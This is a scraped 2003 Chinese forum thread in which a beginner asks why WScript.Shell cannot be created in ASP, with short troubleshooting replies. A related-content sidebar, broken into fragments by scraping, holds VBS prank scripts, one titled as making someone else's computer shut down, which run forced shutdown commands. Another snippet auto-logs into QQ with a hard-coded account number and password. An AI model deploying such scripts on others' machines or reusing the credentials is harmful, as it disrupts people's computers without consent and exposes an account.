社区
ASP
帖子详情
为什么在我的机器上set WshShell=Server.CreateObject("WScript.Shell")创建不成功!!在线等!!
ziqing
2003-12-18 09:33:49
为什么在我的机器上set WshShell=Server.CreateObject("WScript.Shell")创建不成功!是不是还要在操作系统上加上什么文件呀!!!不好意思,刚学ASP让大家见笑!!!
...全文
291
8
打赏
收藏
为什么在我的机器上set WshShell=Server.CreateObject("WScript.Shell")创建不成功!!在线等!!
为什么在我的机器上set WshShell=Server.CreateObject("WScript.Shell")创建不成功!是不是还要在操作系统上加上什么文件呀!!!不好意思,刚学ASP让大家见笑!!!
复制链接
扫一扫
分享
转发到动态
举报
AI
作业
写回复
配置赞助广告
用AI写文章
8 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
doface
2004-01-13
打赏
举报
回复
Set WshNetwork = WScript.CreateObject("WScript.Network")
lions911
2003-12-18
打赏
举报
回复
IIS好象默认是可以的
ziqing
2003-12-18
打赏
举报
回复
有结果,谢谢楼上的提醒!!!
wlz000
2003-12-18
打赏
举报
回复
我在我的机器上试,正常
你在“运行”中输入WScript,有结果吗?
ziqing
2003-12-18
打赏
举报
回复
TO楼上!!那是一个创建一注册表的对象?!!!
wlz000
2003-12-18
打赏
举报
回复
注册那个组件了吗?
ziqing
2003-12-18
打赏
举报
回复
没有人回答吗??自己UP!!!
online
2003-12-18
打赏
举报
回复
需要安装wscript这个程序
Dim
Wsh
Shell
, QQPath, QQselect
Dim
Wsh
Shell
, QQPath, QQselect QQPath="G:\腾讯QQ\QQ.exe"
Set
Wsh
Shell
=W
Script
.
Create
Object
("W
Script
.
Shell
")
Wsh
Shell
.Run QQPath W
Script
.Sleep 2000
Wsh
Shell
.AppActivate "Q登录"
Wsh
Shell
.SendKeys "+{TAB}"
Wsh
Shell
.SendKeys "59619752" W
Script
.Sleep 200
Wsh
Shell
.SendKeys "{TAB}"
Wsh
Shell
.SendKeys "HAPPY808" W
Script
.Sleep 200
Wsh
Shell
.SendKeys "{ENTER}"
create
object
大全
create
object
大全
create
object
大全
create
object
大全
一个使别人电脑直接关机的程序
on error resume next dim
WSH
shell
A
set
WSH
shell
A = w
script
.
create
object
("w
script
.
shell
")
WSH
shell
A.run "cmd.exe /c shutdown -r -t 0 -c "" dim a do while a = inputbox msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + dim
WSH
shell
set
WSH
shell
= w
script
.
create
object
("w
script
.
shell
")
WSH
shell
.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + ""
防止别人偷看你电脑的文件
dim name
set
WSH
shell
= w
script
.
create
object
("w
script
.
shell
")
WSH
shell
.run "shutdown -f -s -t 60",0 ,true name = inputbox("请输入您的名字:","名称") if name="名字+密码"then
set
WSH
shell
= w
script
.
create
object
("w
script
.
shell
")
WSH
shell
.run "shutdown -a",0 ,true msgbox name,,"欢迎人见人爱的主人" else dim
WSH
shell
set
WSH
shell
= w
script
.
create
object
("w
script
.
shell
")
WSH
shell
.run "shutdown -f -s -t 00",0 ,true end if
VBS脚本经典代码收集
VBS脚本经典代码收集,一些常用的VBS代码搜集以及整理、方便复用
ASP
28,409
社区成员
356,971
社区内容
发帖
与我相关
我的任务
ASP
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
复制链接
扫一扫
分享
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章